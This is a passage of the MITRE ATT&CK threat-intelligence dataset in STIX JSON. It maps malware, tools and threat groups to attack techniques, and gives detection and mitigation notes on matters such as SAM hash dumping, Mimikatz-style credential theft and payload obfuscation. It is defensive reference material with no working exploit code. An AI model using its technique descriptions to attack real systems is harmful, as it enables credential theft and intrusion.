NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6af4810f-3abe-43eb-92b0-ee8fefc2a4b9","type":"relationship","created":"2020-09-24T14:20:39.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.307Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has been regularly repacked by its operators to create large binaries and evade detection.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33214d7f-0c78-4905-8ab0-8a6b6eb20eeb","type":"relationship","created":"2021-08-09T14:18:20.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). 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(2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use a custom binary scheme to encode messages with specific commands and parameters to be executed.(Citation: NCSC Cyclops Blink February 2022)","modified":"2022-04-16T23:02:08.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1dda2bd-b47b-42b3-a7e5-dd58cfac1e15","type":"relationship","created":"2021-04-23T03:55:22.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft TESTSIGNING Feb 2021","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option","description":"Microsoft. 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Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised  [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","modified":"2022-04-20T01:39:16.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Retrieved August 4, 2020."}],"modified":"2020-09-22T20:17:38.795Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has exploited Oracle WebLogic vulnerabilities for initial compromise.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--54260ee3-6cb4-43a2-a4a3-5b317d873759","created":"2022-04-14T16:21:44.030Z","x_mitre_version":"0.1","external_references":[{"source_name":"Shadowbunny VM Defense Evasion","url":"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/","description":"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.","modified":"2022-04-14T16:21:44.030Z","relationship_type":"detects","source_ref":"x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a2fbf8a-a05c-44d7-a270-afe092de9db5","type":"relationship","created":"2019-08-29T18:52:20.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","url":"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"sentinelone shlayer to zshlayer","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-16T20:39:45.826Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can base64-decode and AES-decrypt downloaded payloads.(Citation: Carbon Black Shlayer Feb 2019) Versions of [OSX/Shlayer](https://attack.mitre.org/software/S0402) pass encrypted and password-protected code to <code>openssl</code> and then write the payload to the <code>/tmp</code> folder.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c088f23e-b741-453c-a710-01990dead853","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Systeminfo","description":"Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.","url":"https://technet.microsoft.com/en-us/library/bb491007.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather information about the operating system.(Citation: TechNet Systeminfo)","relationship_type":"uses","source_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0aa52e36-7603-447f-8e8c-d559b92a2ed0","created":"2022-04-18T12:52:14.999Z","x_mitre_version":"0.1","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT29](https://attack.mitre.org/groups/G0016) registered devices in order to enable mailbox syncing via the <code>Set-CASMailbox</code> command.(Citation: Volexity SolarWinds)","modified":"2022-04-18T13:25:53.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6caff042-f300-421c-b6c8-6c8dd6d69f1b","type":"relationship","created":"2020-10-21T16:25:56.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. 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If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. 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THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}],"modified":"2021-07-16T19:28:57.130Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can identify the country code on a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c720f9ab-106c-47ce-b327-83727be6d35a","created":"2022-04-18T16:22:22.911Z","x_mitre_version":"0.1","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) can download and execute previously staged shellcode payloads.(Citation: Donut Github)","modified":"2022-04-18T16:22:22.911Z","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abe93e80-2fc7-4c71-846e-b476529b4ae6","type":"relationship","created":"2019-04-17T13:46:38.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2020-03-19T22:23:33.765Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f66707a-6cd7-4af1-a388-b0ff022af7db","created":"2022-03-30T14:26:51.872Z","x_mitre_version":"0.1","external_references":[{"source_name":"Powersploit","url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). 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[PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","modified":"2022-04-20T00:28:07.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. 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(2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:07:50.660Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can delete scripts from a subdirectory of /tmp after they are run.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a83182d2-b619-4ca4-984b-21ecfe43da26","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:14.106Z","description":"[RTM](https://attack.mitre.org/software/S0148) monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17bee216-d5ff-4e66-b221-0129be41b4f5","type":"relationship","created":"2019-01-29T21:40:37.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:09:54.753Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim’s machine.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78865095-f63e-461c-9e32-e202d514747d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:33.260Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Remote Desktop Protocol to conduct lateral movement.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4527c528-8377-4349-ae5c-95c04cabd3d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 1","description":"Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"}],"modified":"2019-04-29T18:23:16.024Z","description":"[H1N1](https://attack.mitre.org/software/S0132) uses multiple techniques to obfuscate strings, including XOR.(Citation: Cisco H1N1 Part 1)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--972c3c99-a172-4191-a35e-dedef750d36e","type":"relationship","created":"2020-10-20T15:47:55.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-17T15:59:03.379Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fdd4a0b-fe6d-4fb1-a6ab-7f5063b6ecc3","type":"relationship","created":"2020-06-19T19:08:40.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"SentinelOne Valak June 2020","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i   ","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020."}],"modified":"2020-08-31T14:56:42.851Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability save and execute files as alternate data streams (ADS).(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6df6b4b6-95f4-469f-8fdf-7622c2607f07","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for web traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea11624f-1025-46a9-820b-0b87866f534d","type":"relationship","created":"2019-01-30T17:33:40.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:58.707Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bd260ad-fca9-46c3-9144-51f24a917310","type":"relationship","created":"2019-04-16T16:08:49.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"}],"modified":"2019-04-29T18:59:16.516Z","description":"[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a VPN to persist in the victim environment.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f875597f-06ce-4402-bfec-eb55e28369c2","type":"relationship","created":"2020-03-16T23:54:26.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN6 April 2016","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. 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Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.169Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a modified copy of the open-source userland rootkit Azazel, named libxselinux.so, to hide the malware's operations and network activity.(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d12eb6a1-bb15-4d95-8390-667cda87923e","type":"relationship","created":"2020-10-02T17:09:50.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-02T17:09:50.903Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eebf12c3-1146-4daa-8fd2-c74ad19362f6","type":"relationship","created":"2020-05-14T14:27:31.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."},{"source_name":"Bleeping Computer - Ryuk WoL","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."}],"modified":"2021-03-05T20:30:11.434Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has called <code>GetIpNetTable</code> in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.(Citation: CrowdStrike Ryuk January 2019)(Citation: Bleeping Computer - Ryuk WoL) ","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--566db8cc-9dd7-496b-8d40-e510fcf6b9fe","created":"2022-03-24T14:12:38.013Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub MOTW","url":"https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7","description":"wdormann. (2019, August 29). Disable Windows Explorer file associations for Disc Image Mount. Retrieved April 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider disabling auto-mounting of disk image files (i.e., .iso, .img, .vhd, and .vhdx). This can be achieved by modifying the Registry values related to the Windows Explorer file associations in order to disable the automatic Explorer \"Mount and Burn\" dialog for these file extensions. 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Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including the startup folders. (Citation: TechNet Autoruns)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 